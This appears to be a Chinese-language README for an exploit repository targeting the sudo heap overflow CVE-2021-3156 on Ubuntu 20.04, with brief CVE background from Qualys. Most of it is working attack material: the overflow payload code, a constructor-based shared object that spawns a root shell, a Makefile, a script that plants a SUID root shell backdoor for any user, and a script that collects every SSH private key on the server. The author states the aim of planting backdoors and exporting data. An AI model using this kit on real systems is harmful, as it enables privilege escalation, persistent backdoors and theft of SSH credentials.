针对 Ubuntu 20.04 的 CVE-2021-3156 漏洞利用,增强型且附带简单自动化后渗透脚本
除了 root shell 之外,你还可以获得:
一个 .txt 文件,包含服务器上配置的所有 id_rsa SSH 密钥。参见脚本: get_all_ssh_keys.sh
一个 privshell 可执行文件,允许任何用户启动 root shell(正在解决 gcc 错误)。参见脚本: create_privshell.sh
为了获得成功的结果,目标机器必须具有以下操作系统和 sudo 版本之一:

为了使我的虚拟机变得易受攻击,我使用以下命令降级了 sudo 的版本:
$ sudo apt install sudo=1.8.31-1ubuntu1
只要能够以一个没有显著权限的用户访问目标系统,该漏洞利用就能生效。

你可以将仓库克隆到目标机器上,或者克隆到本地机器上然后使用 wget 加载。

执行 "make" 命令,根据漏洞编译 .c 文件。

你将获得漏洞利用文件,然后可以使用 "./" 运行它。 运行漏洞利用后,我们可以看到仓库中生成了两个文件:一个包含系统上注册的所有 SSH 密钥,另一个包含可执行 SUID 文件,该文件为所有用户提供 root 会话(以紫色高亮显示)。

你可能会看到类似下面这样的错误:

我仍在尝试解决这个错误,但我猜测它是生成漏洞利用的 shell。我尝试从具有适当权限的用户使用 sudo su 以 root 身份执行 ./create_privshell.sh 命令,脚本编译正常。或者,可以在另一台机器上编译并复制到目标机器,这就是发出 wget 请求的原因。
用于编译的脚本如下:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
现在你可以读取包含所有 SSH 密钥的 .txt 文件,并在修复 gcc 错误之前使用 privshell。

由 Qualys 发现
CVSS 评分 7.8
CVE-2021-3156,也被称为 "Baron Samedit" 漏洞,是一个影响 Unix 操作系统上广泛使用的 sudo 程序的安全漏洞。sudo 是一个允许用户以提升权限运行命令的程序,通常需要输入自己的密码或 root 密码。该漏洞是由 sudo 命令的 "sudoedit" 功能中的缓冲区溢出问题引起的,该功能允许用户以提升权限编辑文件。 该漏洞于 2021 年 1 月由 Qualys 研究实验室首次发现,影响 sudo 版本 1.8.2 到 1.8.31p2 以及 1.9.0 到 1.9.5p1。
信息来自:Qualys



换句话说,set_cmnd() 容易受到基于堆的缓冲区溢出攻击,因为复制到 "user_args" 缓冲区的越界字符未包含在其大小中(在第 852-853 行计算)。
对于溢出部分,我使用了 redhawkeye/sudo-exploit 的 exploit.c 文件。
它有点复杂,但易于解释。
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
这部分声明了一个环境变量数组 env,将传递给 execve 系统调用。环境变量包含一系列反斜杠和一个特制的变量 LC_ALL,其值为 "C.UTF-8@" 连接 208 (0xd0) 个 'A' 字符。C.UTF-8@ 值将作为 LC_ALL 环境变量传递给 sudoedit 命令。208 个 'A' 字符用于溢出 sudoedit 程序中的缓冲区并执行任意代码。
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
这部分声明了一个变量 a,包含 112 (0x70) 个 'A' 字符,后跟一个反斜杠。然后声明一个数组 argv,传递给 execve。数组包含 sudoedit 命令的路径 (/usr/bin/sudoedit)、-s 标志以及上面创建的变量 a。
execve(argv[0], argv, env);
这是实际运行 sudoedit 命令并提供参数和环境变量的 execve 系统调用。sudoedit 程序将读取 LC_ALL 环境变量并尝试将其解析为文件路径。溢出的 'A' 字符将用于向内存写入任意数据,并可能执行任意代码。
因此,内存中为 RCE 保留的这些数据将被我们的文件 shell_tool.c 使用。
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
这部分代码声明了一个名为 sice 的函数,带有 attribute((constructor)) 属性,因此该函数将在程序启动时自动调用,在 main() 执行之前。在 sice 函数内部,调用 setuid(0) 将进程的有效用户 ID 设置为 0(即超级用户或 root 的用户 ID)。这有效地赋予了程序 root 权限。之后,只需使用参数 system("command"),我们就可以在终端中出现 root 会话之前执行任何操作,这就是我尝试脚本化的原因,以便在获得 root shell 之前植入一些后门和导出数据。
我尝试编写自己的代码版本,名为 mybufferof.c,基本上非常相似,因此可以随意修改 Makefile 来测试它,嘿嘿。
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
首先,我们需要编译漏洞利用,然后创建目录 "libnss_X"。然后,最后一条命令编译 shell_tool.c 文件,并在 libnss_X 目录中创建一个名为 X.so.2 的共享对象文件:
-g 标志为共享对象文件生成调试信息。 -fPIC 标志为共享对象生成位置无关代码。 -shared 标志指定应创建共享对象文件。
生成的共享对象文件 X.so.2 被放置在第二步创建的 libnss_X 目录中。
这对于 CVE 很重要,原因如下:

数据来源:Qualys
就是这样,尽情享用吧,我想。